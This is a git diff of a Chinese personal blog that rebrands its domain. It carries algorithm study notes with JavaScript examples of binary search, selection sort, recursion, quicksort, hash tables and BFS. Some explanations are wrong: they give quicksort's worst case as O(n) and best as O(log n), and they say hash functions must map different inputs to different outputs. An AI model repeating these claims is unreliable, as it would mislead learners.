-</code></pre><hr><p>二分查找</p><p>二分查找实质就是将数组分开，用中间的数值来对目标值进行比较，大了就是减，小了就加</p><p>一直找到最后的那个目标值，这个算法对比冒泡一个个查找更有效，因为其只需要遍历极少的次数</p><p>注意：二分查找必须是有序数组，无序数组没有用，因为它要一个个进行大小比较</p><p>像猜1到100的数，就可以从50开始比较，如果50大了，那么就是1到49之间有目标值，如果猜25，如果小了，那么就是26到49的之间有目标数，一直判断，直到等于目标值，依此类推，每次判断都会少一半的错误值，例如：n个元素的列表，二次查找的只需要log2n次就可以找到目标值（log是指对数，指的是对求幂的逆运算，例如6的3次方就是216，那么用对数表示为log6 216，求6要相乘几次才能得到216这个结果，结果为3）</p><p>例如：</p><pre><code>function xyz(list,int){
-    var a = 0
-    var b = list.length -1
-    while (a &lt;= b) {
-        var c =  a + Math.floor((b - a) / 2) 
-        if(list[c] &lt; int){
-            a = c +1
-        }else if(list[c] &gt; int){
-            b = c - 1
-        }else{
-            return c
-        }
-    }
-    return -1
-}
-var abc = [1,3,5,6,7,10,30,55,66,99,1234]
-xyz(abc,99)
-</code></pre><p>如果猜测的次数和列表长度相同，那么就是线性时间（linear time，O(n)），算法的运行时间会以不同的速度而增加，对数为O(log n )</p><hr><p>选择排序（链表和数组）</p><p>链表指的是链表中的元素可以存储在内存的任何地方，链表的优点在于插入元素（删除元素），只需要O(1)就可以了，但是因为它索引的地址是随机的，因此读取一个元素，可能需要O(n)</p><p>数组的优点在于读取元素，只需要O(1)就可以了，而插入元素，就可能需要O(n)了，因为直接插入元素到数组，需要将后面的元素往后移动，而大0表示法是指最糟糕的情况，并不是一定要执行那么多次</p><p>注意：数组索引编号是从0开始的</p><p>选择排序的时间复杂度是O(n²)，该算法是先在找到最大或者最小的元素，放在排序序列的起始位置，然后再从剩余的序列中继续寻找最大或者最小的元素，将其放在已经排序的序列的末尾，重复，一直到全部元素都排序完毕</p><p>例如：</p><pre><code>function data(arr) {
-    const len = arr.length // 获取目标的长度
-    let minindex, temp // 定义最小索引和排序存储
-    for (let i = 0; i &lt; len - 1; i++) {
-        minindex = i // 获取当前最小索引（待排序）
-        for (let j = i + 1; j &lt; len; j++) {
-            if (arr[j] &lt; arr[minindex]) { // 寻找最小的数
-                minindex = j //将最小的数的索引进行存储
-            }
-        }
-        temp = arr[i] // 最小索引的值等于temp
-        arr[i] = arr[minindex] // 最小索引的值等于最小的数的索引
-        arr[minindex] = temp // 最小的数的索引等于temp
-    }
-    return arr
-}
-const abc =[1,3,5,2,9,4,6,10,7,18,8]
-data(abc)
-</code></pre><hr><p>递归</p><p>&ldquo;Loops may achieve a performance gain for your program. Recursion may achieve a performance gain for your programmer. Choose which is more important in your situation!&rdquo;&mdash;Leigh caldwell</p><p>递归说白了就是递归函数自己调用自己，因为存在自己调用自己的情况，因此要确保递归函数在什么情况就应该停止，而不是无限循环下去，递归函数要有俩个条件，基线条件（base case）和递归条件（recursive），递归条件就是递归函数调用自己，基线条件是在什么条件下不再调用自己（例如将递归条件放在一个if判断中，当满足递归条件就递归，不满足就基线条件）</p><p>栈（call stack）</p><p>栈是一种数据结构，存在着转移控制权，转移数据，清除或者释放数据的特性（临时存储，压入，弹出），可以用来存储多个函数的变量，当需要该变量的时候插入，不需要就弹出，当栈很高的时候，会导致存储了大量函数要调用的变量，会占用大量的内存，因此在这种情况下循环或者尾递归可能更好</p><p>递归：如果一个函数可以在内部调用其本身，那么这个函数是递归函数，函数内部自己调用自己</p><p>递归效果和循环是一致的，所有递归容易出现栈溢出错误（stack overflow），需要加上退出条件return</p><p>例如：</p><pre><code>var num = 1;
-function hallo(){
-    console.log(num);
-    if(num == 10){
-        return;
-    }
-    num++;
-    hallo();
-}
-hallo();
-</code></pre><p>递归求阶乘</p><p>阶乘：指的是一个正整数的阶乘是所有小于及等于该数的积，并且0的阶乘为1</p><pre><code>function hallo(num){
-    if(num == 1){
-        return 1;
-    }
-    return num * hallo(num - 1)
-}
-console.log(hallo(10)) // 3628800
-</code></pre><p>递归求斐波那契数列（兔子序列）</p><p>特点，第一个数加第二个数等于第三个数，第二个数加第三个数，依次类推</p><p>因此需要计算得到斐波那契数列对应数字，只需要指定位置的前两项（n-1，n-2）就可以得出第n个斐波那契数列对应的数字</p><p>例如：</p><pre><code>function hallo(num){
-    if(num == 1 || num == 2){
-        return 1;
-    }
-    return hallo(num-1) + hallo(num-2);
-
-}
-console.log(hallo(10));
-</code></pre><hr><p>快速排序</p><p>divide and conquer（D&amp;C）：找出基数条件，分解问题（缩小问题的规模），一直到符合基数条件</p><p>注意：D&amp;C定义要求每次递归调用，都必须缩小问题的规模，（缩小问题的规模可以依赖于欧几里得算法（求最大公约数的算法））</p><p>当基数条件为数组为空或者只有一个元素时，直接返回数组（因为不需要排序），因此快速排序的元素个数必须大于等于2</p><p>快速排序的工作原理就是从数组中选择一个元素，这个元素叫基准值（pivot），然后找到比基准值小的元素和比基准值大的元素，这时候有一个比基准值小的数值组成的子数组和一个比基准值大的数值组成的子数组，和一个基准值，这个被叫为分区（partitioning），如果子数组是有序的，直接左边子数组加基准值加右边子数组就完成排序了，如果不是有序的，那么将那俩个子数组进行快速排序，再合并（当子数组只有一个元素，那么就不需要进行排序了）</p><p>快速排序的时间复杂度取决于基准值，快速排序平均情况下，时间复杂度为O(n log n)，一般情况下大O表示法会忽略常量（算法所需要的固定量），因为在数量很大的计算中，常量根本没有影响，但是当时间复杂度相同的时候，就可以看常量了，常量越小，算法的时间复杂度越小，最糟糕的情况下快速排序的时间复杂度为为O(n)，而最佳情况下为O(log n)</p><hr><p>散列表（散列映射，字典，关联数组）</p><p>散列函数：当输入一个数据，将返回一个数据，而且返回的数据是一致的（输入数据一样的情况下，得到的数据必须要一样，输入不同数据的时候，得到的数据也必须不一致），散列函数必须知道数组有多大（只返回有效数据），散列函数精确指出某个数据的存储位置，不需要查找，平均情况下时间复杂度为O(1)</p><p>散列表由键和值组成，当输出键或者值的时候，可以获得对应的值或者键，散列表可以用于避免出现重复数值，缓存（记住数据，避免重新计算数据或者重新处理数据）</p><p>注意：如果散列表存储的链表很长，那么散列表的速度将会变慢，而且还可能存在冲突（多个数据占用一个位置，如果要解决冲突，只能在这个位置上再建立一个链表，来存储多个数据）</p><p>填装因子：计算数组被占用的位置数，算法为散列表包含的元素数除以位置总数，得到的值为该散列表的填装因子，当填装因子大于1的时候，就表示该数组位置数不足，必须要添加位置（调整长度（resizing）），填装因子越小，出现冲突的可能就越小，散列表的性能就越高</p><hr><p>广度优先搜索（breadth-first search，BFS）</p><p>广度优先搜索可以解决最短路径问题（shortest-path problem），用于图的查找算法</p><p>图由一个个节点和边组成，一个节点可能和多个节点之间直接相连，那么这些节点又被叫为邻居，图被用于模拟不同的东西是如何相连的</p><p>广度优先搜索可以解决图的两个问题，在某节点上，有前往某个节点的路径吗?和在某节点上，怎么前往某个节点最快，广度优先搜索的原理就是先搜索和起点直接连接的节点（一度关系），再查找二度关系（和二度关系有直接连接的节点），从起点开始向外延伸，如果目标在一度关系上，那么前往该目标的节点存在，而且可以直接前往，如果目标在二度关系上，那么找到二度关系于一度关系相连的路径上，这必须按照添加的顺序才能查找出来</p><p>队列（queue）：一种先进先出的数据结构（First In First Out，FIFO），栈则是后进先出的数据结构（Last In First Out，LIFO）</p><hr><p>深度优先算法</p><hr><p>狄克斯特拉算法</p><hr><p>贪婪算法</p><hr><p>动态规划</p><hr><p>K最近相邻算法</p><hr><p>堆/栈/队列/优先级队列</p><p>链表/反向链表/Hash/二叉树/红黑树</p><p>大O标识法和时间复杂度</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/%E7%AE%97%E6%B3%95/>算法</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/80/><span class=title>« Prev</span><br><span>Svelte学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/78/><span class=title>Next »</span><br><span>Mobx学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+O(n!): Factorial 阶乘</p><p>算法的特点：有穷性（必须要在一定的时间内完成，不能无限循环），确定性（每一条指令都有明确的目的，不产生二义性），可行性（可以通过基础运算来实现），输入输出（要有0个或者多个输入，要有1个或者多个输出）</p><p>删除有序数组中的重复项</p><p>保证有序数组中的元素是不重复的，也就是说不存在重复的元素</p><p>有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的</p><p>例如：</p><pre><code>let arr = function(nums) {
+    if(nums == null || nums.length == 0){
+        return 0
+    }
+    let b = 0
+    for(let a=0;a&lt;nums.length;a++){
+        if(nums[b]!=nums[a]){
+            nums[++b] = nums[a]
+        }
+    }
+    return ++b
+}
+</code></pre><p>b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上</p><hr><p>搜索数组的目标值，返回其索引值</p><p>通过有序整型数组和一个目标值，寻找目标值，并且返回其索引值，当目标值不存在时，返回-1</p><pre><code>let search = function(nums, target) {
+    for(let a=0;a&lt;nums.length;a++){
+        if(nums[a] == target){
+            return a
+        }
+    }
+    return -1
+}
+</code></pre><hr><p>字符串反转</p><p>将数组nums里面的字符串，顺序倒过来，在不创建新数组的位置前提下</p><pre><code>let reverseString = function(nums) {
+    var a=0,b=nums.length-1
+    while(a&lt;b){
+        let temp =nums[a]
+        nums[a] = nums[b]
+        nums[b] = temp
+        a++
+        b--
+    }
+}
+</code></pre><hr><p>二分查找</p><p>二分查找实质就是将数组分开，用中间的数值来对目标值进行比较，大了就是减，小了就加</p><p>一直找到最后的那个目标值，这个算法对比冒泡一个个查找更有效，因为其只需要遍历极少的次数</p><p>注意：二分查找必须是有序数组，无序数组没有用，因为它要一个个进行大小比较</p><p>像猜1到100的数，就可以从50开始比较，如果50大了，那么就是1到49之间有目标值，如果猜25，如果小了，那么就是26到49的之间有目标数，一直判断，直到等于目标值，依此类推，每次判断都会少一半的错误值，例如：n个元素的列表，二次查找的只需要log2n次就可以找到目标值（log是指对数，指的是对求幂的逆运算，例如6的3次方就是216，那么用对数表示为log6 216，求6要相乘几次才能得到216这个结果，结果为3）</p><p>例如：</p><pre><code>function xyz(list,int){
+    var a = 0
+    var b = list.length -1
+    while (a &lt;= b) {
+        var c =  a + Math.floor((b - a) / 2) 
+        if(list[c] &lt; int){
+            a = c +1
+        }else if(list[c] &gt; int){
+            b = c - 1
+        }else{
+            return c
+        }
+    }
+    return -1
+}
+var abc = [1,3,5,6,7,10,30,55,66,99,1234]
+xyz(abc,99)
+</code></pre><p>如果猜测的次数和列表长度相同，那么就是线性时间（linear time，O(n)），算法的运行时间会以不同的速度而增加，对数为O(log n )</p><hr><p>选择排序（链表和数组）</p><p>链表指的是链表中的元素可以存储在内存的任何地方，链表的优点在于插入元素（删除元素），只需要O(1)就可以了，但是因为它索引的地址是随机的，因此读取一个元素，可能需要O(n)</p><p>数组的优点在于读取元素，只需要O(1)就可以了，而插入元素，就可能需要O(n)了，因为直接插入元素到数组，需要将后面的元素往后移动，而大0表示法是指最糟糕的情况，并不是一定要执行那么多次</p><p>注意：数组索引编号是从0开始的</p><p>选择排序的时间复杂度是O(n²)，该算法是先在找到最大或者最小的元素，放在排序序列的起始位置，然后再从剩余的序列中继续寻找最大或者最小的元素，将其放在已经排序的序列的末尾，重复，一直到全部元素都排序完毕</p><p>例如：</p><pre><code>function data(arr) {
+    const len = arr.length // 获取目标的长度
+    let minindex, temp // 定义最小索引和排序存储
+    for (let i = 0; i &lt; len - 1; i++) {
+        minindex = i // 获取当前最小索引（待排序）
+        for (let j = i + 1; j &lt; len; j++) {
+            if (arr[j] &lt; arr[minindex]) { // 寻找最小的数
+                minindex = j //将最小的数的索引进行存储
+            }
+        }
+        temp = arr[i] // 最小索引的值等于temp
+        arr[i] = arr[minindex] // 最小索引的值等于最小的数的索引
+        arr[minindex] = temp // 最小的数的索引等于temp
+    }
+    return arr
+}
+const abc =[1,3,5,2,9,4,6,10,7,18,8]
+data(abc)
+</code></pre><hr><p>递归</p><p>&ldquo;Loops may achieve a performance gain for your program. Recursion may achieve a performance gain for your programmer. Choose which is more important in your situation!&rdquo;&mdash;Leigh caldwell</p><p>递归说白了就是递归函数自己调用自己，因为存在自己调用自己的情况，因此要确保递归函数在什么情况就应该停止，而不是无限循环下去，递归函数要有俩个条件，基线条件（base case）和递归条件（recursive），递归条件就是递归函数调用自己，基线条件是在什么条件下不再调用自己（例如将递归条件放在一个if判断中，当满足递归条件就递归，不满足就基线条件）</p><p>栈（call stack）</p><p>栈是一种数据结构，存在着转移控制权，转移数据，清除或者释放数据的特性（临时存储，压入，弹出），可以用来存储多个函数的变量，当需要该变量的时候插入，不需要就弹出，当栈很高的时候，会导致存储了大量函数要调用的变量，会占用大量的内存，因此在这种情况下循环或者尾递归可能更好</p><p>递归：如果一个函数可以在内部调用其本身，那么这个函数是递归函数，函数内部自己调用自己</p><p>递归效果和循环是一致的，所有递归容易出现栈溢出错误（stack overflow），需要加上退出条件return</p><p>例如：</p><pre><code>var num = 1;
+function hallo(){
+    console.log(num);
+    if(num == 10){
+        return;
+    }
+    num++;
+    hallo();
+}
+hallo();
+</code></pre><p>递归求阶乘</p><p>阶乘：指的是一个正整数的阶乘是所有小于及等于该数的积，并且0的阶乘为1</p><pre><code>function hallo(num){
+    if(num == 1){
+        return 1;
+    }
+    return num * hallo(num - 1)
+}
+console.log(hallo(10)) // 3628800
+</code></pre><p>递归求斐波那契数列（兔子序列）</p><p>特点，第一个数加第二个数等于第三个数，第二个数加第三个数，依次类推</p><p>因此需要计算得到斐波那契数列对应数字，只需要指定位置的前两项（n-1，n-2）就可以得出第n个斐波那契数列对应的数字</p><p>例如：</p><pre><code>function hallo(num){
+    if(num == 1 || num == 2){
+        return 1;
+    }
+    return hallo(num-1) + hallo(num-2);
+
+}
+console.log(hallo(10));
+</code></pre><hr><p>快速排序</p><p>divide and conquer（D&amp;C）：找出基数条件，分解问题（缩小问题的规模），一直到符合基数条件</p><p>注意：D&amp;C定义要求每次递归调用，都必须缩小问题的规模，（缩小问题的规模可以依赖于欧几里得算法（求最大公约数的算法））</p><p>当基数条件为数组为空或者只有一个元素时，直接返回数组（因为不需要排序），因此快速排序的元素个数必须大于等于2</p><p>快速排序的工作原理就是从数组中选择一个元素，这个元素叫基准值（pivot），然后找到比基准值小的元素和比基准值大的元素，这时候有一个比基准值小的数值组成的子数组和一个比基准值大的数值组成的子数组，和一个基准值，这个被叫为分区（partitioning），如果子数组是有序的，直接左边子数组加基准值加右边子数组就完成排序了，如果不是有序的，那么将那俩个子数组进行快速排序，再合并（当子数组只有一个元素，那么就不需要进行排序了）</p><p>快速排序的时间复杂度取决于基准值，快速排序平均情况下，时间复杂度为O(n log n)，一般情况下大O表示法会忽略常量（算法所需要的固定量），因为在数量很大的计算中，常量根本没有影响，但是当时间复杂度相同的时候，就可以看常量了，常量越小，算法的时间复杂度越小，最糟糕的情况下快速排序的时间复杂度为为O(n)，而最佳情况下为O(log n)</p><hr><p>散列表（散列映射，字典，关联数组）</p><p>散列函数：当输入一个数据，将返回一个数据，而且返回的数据是一致的（输入数据一样的情况下，得到的数据必须要一样，输入不同数据的时候，得到的数据也必须不一致），散列函数必须知道数组有多大（只返回有效数据），散列函数精确指出某个数据的存储位置，不需要查找，平均情况下时间复杂度为O(1)</p><p>散列表由键和值组成，当输出键或者值的时候，可以获得对应的值或者键，散列表可以用于避免出现重复数值，缓存（记住数据，避免重新计算数据或者重新处理数据）</p><p>注意：如果散列表存储的链表很长，那么散列表的速度将会变慢，而且还可能存在冲突（多个数据占用一个位置，如果要解决冲突，只能在这个位置上再建立一个链表，来存储多个数据）</p><p>填装因子：计算数组被占用的位置数，算法为散列表包含的元素数除以位置总数，得到的值为该散列表的填装因子，当填装因子大于1的时候，就表示该数组位置数不足，必须要添加位置（调整长度（resizing）），填装因子越小，出现冲突的可能就越小，散列表的性能就越高</p><hr><p>广度优先搜索（breadth-first search，BFS）</p><p>广度优先搜索可以解决最短路径问题（shortest-path problem），用于图的查找算法</p><p>图由一个个节点和边组成，一个节点可能和多个节点之间直接相连，那么这些节点又被叫为邻居，图被用于模拟不同的东西是如何相连的</p><p>广度优先搜索可以解决图的两个问题，在某节点上，有前往某个节点的路径吗?和在某节点上，怎么前往某个节点最快，广度优先搜索的原理就是先搜索和起点直接连接的节点（一度关系），再查找二度关系（和二度关系有直接连接的节点），从起点开始向外延伸，如果目标在一度关系上，那么前往该目标的节点存在，而且可以直接前往，如果目标在二度关系上，那么找到二度关系于一度关系相连的路径上，这必须按照添加的顺序才能查找出来</p><p>队列（queue）：一种先进先出的数据结构（First In First Out，FIFO），栈则是后进先出的数据结构（Last In First Out，LIFO）</p><hr><p>深度优先算法</p><hr><p>狄克斯特拉算法</p><hr><p>贪婪算法</p><hr><p>动态规划</p><hr><p>K最近相邻算法</p><hr><p>堆/栈/队列/优先级队列</p><p>链表/反向链表/Hash/二叉树/红黑树</p><p>大O标识法和时间复杂度</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/%E7%AE%97%E6%B3%95/>算法</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/80/><span class=title>« Prev</span><br><span>Svelte学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/78/><span class=title>Next »</span><br><span>Mobx学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/8/index.html b/posts/8/index.html
index 81432d10..856416c1 100644
--- a/posts/8/index.html
+++ b/posts/8/index.html
@@ -4,44 +4,44 @@
 修改为国内源
 nano /etc/apt/sources.list
 替换内容为
-# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
# 预发布软件源，不建议启用
# deb https://mirrors."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/8/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="linux系统的日常使用"><meta property="og:description" content="linux发行版有很多，这里使用的是Ubuntu
+# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # 预发布软件源，不建议启用 # deb https://mirrors."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/8/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="linux系统的日常使用"><meta property="og:description" content="linux发行版有很多，这里使用的是Ubuntu
 个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）
 有关于树莓派的看这个
 修改为国内源
 nano /etc/apt/sources.list
 替换内容为
-# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
# 预发布软件源，不建议启用
# deb https://mirrors."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/8/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:12:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:12:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="linux系统的日常使用"><meta name=twitter:description content="linux发行版有很多，这里使用的是Ubuntu
+# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # 预发布软件源，不建议启用 # deb https://mirrors."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/8/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:12:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:12:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title 